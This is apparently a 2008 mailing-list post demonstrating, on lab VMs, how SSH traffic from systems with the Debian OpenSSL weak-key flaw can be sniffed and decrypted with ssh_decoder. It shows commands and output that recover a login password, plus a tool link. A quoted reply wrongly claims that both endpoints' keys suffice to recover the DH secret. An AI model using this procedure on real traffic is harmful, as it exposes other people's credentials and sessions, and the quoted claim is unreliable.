Hi.
I do.
Thank very much at Raphaël Rigo, development ssh_decoder.[0]
I have 2 Virtual Machines, 1 ubuntu 8.04 server (no updated) and 1
ubuntu 8.04 client (no updated).
VM have vulnerability libssl discovery by Luciano Bello on May-2008.
Client TTY 1:
$ sudo wireshark
In other terminal (TTY2) exec:
$ssh 192.168.230.143
user_at_192.168.230.143's password:
Last login: Wed Jul 9 17:10:04 2008 from 192.168.230.144
user_at_ubuntu804server:~$ echo "este es un comando tirado en el server"
user_at_ubuntu804server:~$ exit
Client TTY1:
$Stop sniffing Wireshark.
Save file "sshv2.cap"
$ tcpick -wRC -wRS -r sshv2.cap
Starting tcpick 0.2.1 at 2008-07-10 14:14 EDT
Timeout for connections is 600
tcpick: reading from sshv2.cap
1 SYN-SENT 192.168.230.144:44550 > 192.168.230.143:ssh
1 SYN-RECEIVED 192.168.230.144:44550 > 192.168.230.143:ssh
1 ESTABLISHED 192.168.230.144:44550 > 192.168.230.143:ssh
1 FIN-WAIT-1 192.168.230.144:44550 > 192.168.230.143:ssh
1 TIME-WAIT 192.168.230.144:44550 > 192.168.230.143:ssh
1 CLOSED 192.168.230.144:44550 > 192.168.230.143:ssh
tcpick: done reading from sshv2.cap
81 packets captured
1 tcp sessions detected
$ ruby ssh_decoder.rb tcpick*
* read handshake
cipher: aes128-cbc, mac: hmac-md5, kex_hash: sha256, compr: none
* bruteforce DH
DH shared secret :
63368d70f36fca060daa9d83b67f68bdd3cd9a4a150b27bfa51689f091b5d8857eb3b93057430be1577e45bb742b4528dca889cbda21de1ab2ec0ba1e364b421aa2797c1ad4667a66c7b20317842b5c509160a38629ae551e128b64e4af73d5ce7331342d8d9bd6128c3c89e0d2a55b6c4c5b7da06eead4dee4e3eb5d01d1210
* derive keys
* decipher streams
* successful authentication packet
{:username=>"user",
:nextservice=>"ssh-connection",
:auth_method=>"password",
:change=>0,
:password=>"superpassword"}
* deciphered streams saved to "sshdecrypt.0.client.dat" &
"sshdecrypt.0.server.dat"
User: User
Password: superpassword
In sshdecrypt.0.client.dat and sshdecrypt.0.server.dat all text
plane.(user/password/command)
The script (ssh_decoder and ssh_kex_keygen ) generate private key.
Dowload ssh_decoder and ssh_kex_keygen [0]
[0]http://www.cr0.org/progs/sshfun/
Thank you very much.
--
Ulises U. Cuñé
Web: http://www.ulises2k.com.ar
On Thu, Jul 10, 2008 at 14:25, Gary E. Miller <gem_at_rellim.com> wrote:
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> Hash: SHA1
>
> Yo Paul!
>
> On Thu, 10 Jul 2008, Paul Melson wrote:
>
>> > I assume if the attacker has the public and private keys from not just
>> > one, but both ends, that PFS is not an obstacle.
>
>> It's my understanding that even if you have both endpoints' public and
>> private key pairs, that's not enough to recreate the ephemeral keys used
>> during a particular session. Without those keys, the packet capture cannot
>> be decrypted.
>
> Read the RFC and tell me that again:
> http://tools.ietf.org/html/rfc4253#section-8
>
> "The Diffie-Hellman (DH) key exchange provides a shared secret
> that cannot be determined by either party alone. "
> ^^^^^^^^^^^^^^^^^^^^^^
>
> The whole point if the key exchange is to use both sets of
> public/private keys to generate this shared secret, and only those 4
> keys. If you possess those 4 keys then game over, you can decode the
> shared key.
>
> Looks to me that the RFC tells you all you need to know to recover
> the shared secret. If someone had some time on their hands
> they could probably grab most of the needed code out of the openssh
> code.
>
> RGDS
> GARY
> - ---------------------------------------------------------------------------
> Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97701
> gem_at_rellim.com Tel:+1(541)382-8588
>
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> =CXfX
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>
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